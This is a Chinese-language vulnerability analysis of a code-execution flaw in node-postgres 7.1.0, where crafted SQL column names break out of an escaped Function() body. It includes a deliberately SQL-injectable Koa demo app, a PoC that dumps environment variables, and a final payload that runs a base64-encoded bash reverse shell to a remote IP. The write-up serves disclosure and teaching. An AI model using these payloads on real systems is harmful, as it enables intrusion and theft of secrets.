作者:phith0n@长亭科技
Postgres 是现在用的比较多的数据库,包括我自己的博客,数据库都选择使用 Postgres,其优点我就不展开说了。node-postgres是 node 中连接 pg 数据库的客户端,其中出现过一个代码执行漏洞,非常典型,可以拿出来讲一讲。
碳基体妹纸曾经分析过 postgres 的认证协议,显然 pg 的交互过程其实就是简单的 TCP 数据包的交互过程,文档中列出了所有数据报文。
其中,我们观察到,pg 的通信,其实就是一些预定的 message 交换的过程。比如,pg 返回给客户端的有一种报文叫“RowDescription”,作用是返回每一列(row)的所有字段名(field name)。客户端拿到这个 message,解析出其中的内容,即可确定字段名:
我们可以抓包试一下,关闭服务端 SSL,执行SELECT 'phithon' AS "name"
,可见客户端发送的报文头是Simple Query
,内容就是我执行的这条 SQL 语句:
返回包分为4个message,分别是T/D/C/Z,查看文档可知,分别是“Row description”、“Data row”、“Command completion”、“Ready for query”:
这四者意义如下:
至此,我们简单分析了一下 postgresql 的通信过程。明白了这一点,后面的代码执行漏洞,也由此拉开序幕。
安装node-postgres的7.1.0版本:npm install [email protected]
。在node_modules/pg/lib/connection.js
可以找到连接数据库的源码:
Connection.prototype.parseMessage = function (buffer) { this.offset = 0 var length = buffer.length + 4 switch (this._reader.header) { case 0x52: // R return this.parseR(buffer, length) ... case 0x5a: // Z return this.parseZ(buffer, length) case 0x54: // T return this.parseT(buffer, length) ... } } ... var ROW_DESCRIPTION = 'rowDescription' Connection.prototype.parseT = function (buffer, length) { var msg = new Message(ROW_DESCRIPTION, length) msg.fieldCount = this.parseInt16(buffer) var fields = [] for (var i = 0; i < msg.fieldCount; i++) { fields.push(this.parseField(buffer)) } msg.fields = fields return msg } ...
可见,当this._reader.header
等于"T"的时候,就进入parseT方法。0x01中介绍过T是什么,T就是“Row description”,表示返回数据的字段数及其名字。比如我执行了SELECT * FROM "user"
,pg数据库需要告诉客户端user这个表究竟有哪些字段,parseT方法就是用来获取这个字段名的。
parseT 中触发了 rowDescription 消息,我们看看在哪里接受这个事件:
// client.js Client.prototype._attachListeners = function (con) { const self = this // delegate rowDescription to active query con.on('rowDescription', function (msg) { self.activeQuery.handleRowDescription(msg) }) ... } // query.js Query.prototype.handleRowDescription = function (msg) { this._checkForMultirow() this._result.addFields(msg.fields) this._accumulateRows = this.callback || !this.listeners('row').length }
在 client.js 中接受了 rowDescription 事件,并调用了 query.js 中的 handleRowDescription 方法,handleRowDescription 方法中执行this._result.addFields(msg.fields)
语句,并将所有字段传入其中。
跟进 addFields 方法:
Result.prototype.addFields = function (fieldDescriptions) { // clears field definitions // multiple query statements in 1 action can result in multiple sets // of rowDescriptions...eg: 'select NOW(); select 1::int;' // you need to reset the fields if (this.fields.length) { this.fields = [] this._parsers = [] } var ctorBody = '' for (var i = 0; i < fieldDescriptions.length; i++) { var desc = fieldDescriptions[i] this.fields.push(desc) var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text') this._parsers.push(parser) // this is some craziness to compile the row result parsing // results in ~60% speedup on large query result sets ctorBody += inlineParser(desc.name, i) } if (!this.rowAsArray) { this.RowCtor = Function('parsers', 'rowData', ctorBody) } }
addFields 方法中将所有字段经过 inlineParser 函数处理,处理完后得到结果 ctorBody,传入了 Function 类的最后一个参数。
熟悉XSS漏洞的同学对“Function”这个类( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )应该不陌生了,在浏览器中我们可以用Function+
任意字符串创造一个函数并执行:
其效果其实和 eval 差不多,特别类似PHP中的create_function
。那么,Function 的最后一个参数(也就是函数体)如果被用户控制,将会创造一个存在漏洞的函数。在前端是 XSS 漏洞,在后端则是代码执行漏洞。
那么,ctorBody 是否可以被用户控制呢?
ctorBody 是经过 inlineParser 函数处理的,看看这个函数代码:
var inlineParser = function (fieldName, i) { return "\nthis['" + // fields containing single quotes will break // the evaluated javascript unless they are escaped // see https://github.com/brianc/node-postgres/issues/507 // Addendum: However, we need to make sure to replace all // occurences of apostrophes, not just the first one. // See https://github.com/brianc/node-postgres/issues/934 fieldName.replace(/'/g, "\\'") + "'] = " + 'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);' }
可见这里是存在字符串拼接,fieldName即为我前面说的“字段名”。虽然存在字符串拼接,但这里单引号'
被转义成\'
:fieldName.replace(/'/g, "\\'")
。我们在注释中也能看到开发者意识到了单引号需要“escaped”。
但显然,只转义单引号,我们可以通过反斜线\
来绕过限制:
\' ==> \\'
这是一个比较普遍的BUG,开发者知道需要将单引号前面增加反斜线来转义单引号,但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以,我们尝试执行如下SQL语句:
sql = `SELECT 1 AS "\\'+console.log(process.env)]=null;//"` const res = await client.query(sql)
这个 SQL 语句其实就很简单,因为最后需要控制 fieldName,所以我们需要用到 AS 语句来构造字段名。
动态运行后,在 Function 的位置下断点,我们可以看到最终传入 Function 类的函数体:
可见,ctorBody 的值为:
this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);
我逃逸了单引号,并构造了一个合法的 JavaScript 代码。最后,console.log(process.env)
在数据被读取的时候执行,环境变量process.env
被输出:
那么,在实战中,这个漏洞如何利用呢?
首先,因为可控点出现在数据库字段名的位置,正常情况下字段名显然不可能被控制。所以,我们首先需要控制数据库或者SQL语句,比如存在SQL注入漏洞的情况下。
所以我编写了一个简单的存在注入的程序:
const Koa = require('koa') const { Client } = require('pg') const app = new Koa() const client = new Client({ user: "homestead", password: "secret", database: "postgres", host: "127.0.0.1", port: 54320 }) client.connect() app.use(async ctx => { ctx.response.type = 'html' let id = ctx.request.query.id || 1 let sql = `SELECT * FROM "user" WHERE "id" = ${id}` const res = await client.query(sql) ctx.body = `<html> <body> <table> <tr><th>id</th><td>${res.rows[0].id}</td></tr> <tr><th>name</th><td>${res.rows[0].name}</td></tr> <tr><th>score</th><td>${res.rows[0].score}</td></tr> </table> </body> </html>` }) app.listen(3000)
正常情况下,传入id=1获得第一条数据:
可见,这里id是存在SQL注入漏洞的。那么,我们怎么通过SQL注入控制字段名?
一般来说,这种WHERE后的注入,我们已经无法控制字段名了。即使通过如SELECT * FROM "user" WHERE id=-1 UNION SELECT 1,2,3 AS "\\'+console.log(process.env)]=null;//"
,第二个SELECT后的字段名也不会被PG返回,因为字段名已经被第一个SELECT定死。
但是 node-postgres 是支持多句执行的,显然我们可以直接闭合第一个SQL语句,在第二个SQL语句中编写POC代码:
虽然返回了500错误,但显然命令已然执行成功,环境变量被输出在控制台:
在 vulhub 搭建了环境,实战中遇到了一些蛋疼的问题:
最后构造出如下POC:
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
发送数据包:
成功反弹shell:
官方随后发布了漏洞通知: https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability 以及修复方案: https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86
可见,最新版中将fieldName.replace(/'/g, "\\'")
修改为escape(fieldName)
,而escape函数来自这个库:https://github.com/joliss/js-string-escape ,其转义了大部分可能出现问题的字符。